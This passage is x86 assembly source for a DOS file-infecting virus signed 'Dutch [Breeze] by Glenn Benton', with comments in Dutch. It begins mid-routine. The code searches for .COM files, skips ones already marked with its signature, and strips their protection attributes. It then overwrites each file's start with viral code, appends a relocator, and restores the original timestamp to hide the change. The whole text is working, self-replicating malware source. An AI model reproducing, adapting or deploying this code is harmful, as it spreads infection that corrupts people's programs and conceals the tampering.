Sluiten: Mov AH,3Eh ; File weer sluiten Int 21h ;------------------ Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2 Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op Jnz Infect ; morgoth virus. Als bestand al besmet ZoekNext: Mov AH,4Fh ;------------------ Int 21h ; Zoeken naar volgende .COM file Jnc KijkInfected ; Geen gevonden, goto Afgelopen Jmp Afgelopen ;------------------ Db 'Dutch [Breeze] by Glenn Benton' Infect: Mov DX,Proggie ; beveiliging weghalen Mov AH,43h ; Mov AL,1 ; Xor CX,Cx Int 21h ;------------------ Mov AH,3Dh ; Bestand openen Mov AL,2 ; Mov DX,Proggie ; Int 21h ;------------------ Mov FH,AX ; Opslaan op stack van Mov BX,AX ; datum voor later gebruik Mov AH,57H ; Mov AL,0 ; Int 21h ; Push CX ; Push DX ;------------------ Mov AH,3Fh ; Inlezen van eerste deel van het Mov CX,VirLen+2 ; programma om later terug te Mov DX,Buff1 ; kunnen plaatsen. Int 21h ;------------------ Mov AH,42H ; File Pointer weer naar het Mov AL,2 ; einde van het programma Xor CX,CX ; zetten Xor DX,DX ; Int 21h ;------------------ Xor DX,DX ; Bepalen van de variabele sprongen Add AX,100h ; in het virus (move-routine) Mov Sprong,AX ; Add AX,MovLen ; Mov Source,AX ;------------------ Mov AH,40H ; Move routine bewaren aan Mov DX,Offset Mover ; einde van file Mov CX,MovLen ; Int 21h ;------------------ Mov AH,40H ; Eerste deel programma aan- Mov DX,Buff1 ; voegen na Move routine Mov CX,VirLen ; Int 21h ;------------------ Mov AH,42h ; File Pointer weer naar Mov AL,0 ; het begin van file Xor CX,CX ; sturen Xor DX,DX ; Int 21h ;------------------ Mov AH,40h ; En programma overschrijven Mov DX,Offset Begin ; met code van het virus Mov CX,VirLen ; Int 21h ;------------------ Mov AH,57h ; Datum van aangesproken file Mov AL,1 ; weer herstellen Pop DX ; Pop CX ; Int 21h ;------------------ Mov AH,3Eh ; Sluiten file Int 21h ;------------------ Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer Mov Source,BX ; op normaal zetten voor Mov AX,Buf1 ; de Move routine Mov Sprong,AX ;------------------ Mov AH,1Ah ; DTA adres weer op normaal Mov Dx,80h ; zetten en naar de Move Int 21h ; routine springen Jmp CS:[Sprong] ;------------------ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; All variables are stored in here, like filehandle, date/time, ; search path and various buffers. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FH DW 0 FindPath DB '*.COM',0 Buf1 DW 0 Buf2 DW 0 Sprong DW 0 Source DW 0 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This will contain the relocator routine, located at the end of ; the ORIGINAL file. This will tranfer the 1st part of the program ; to it's original place. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Mover: Mov DI,Offset Begin ;------------------ Mov SI,Source ; Verplaatsen van het 1e deel Mov CX,VirLen-1 ; van het programma, wat achter Rep Movsb ;------------------ Pop DI ; Opgeslagen registers weer Pop SI ; terugzetten op originele Pop SS ; waarde en springen naar Pop ES ; het begin van het programma Pop DS ; (waar nu het virus niet meer Pop DX ; staat) Pop CX ; Pop BX ; Pop AX ; Popf ; Mov BX,100h ; Jmp BX ;------------------ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Only the end of the virus is stored in here. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Einde db 0 Code Ends End Begin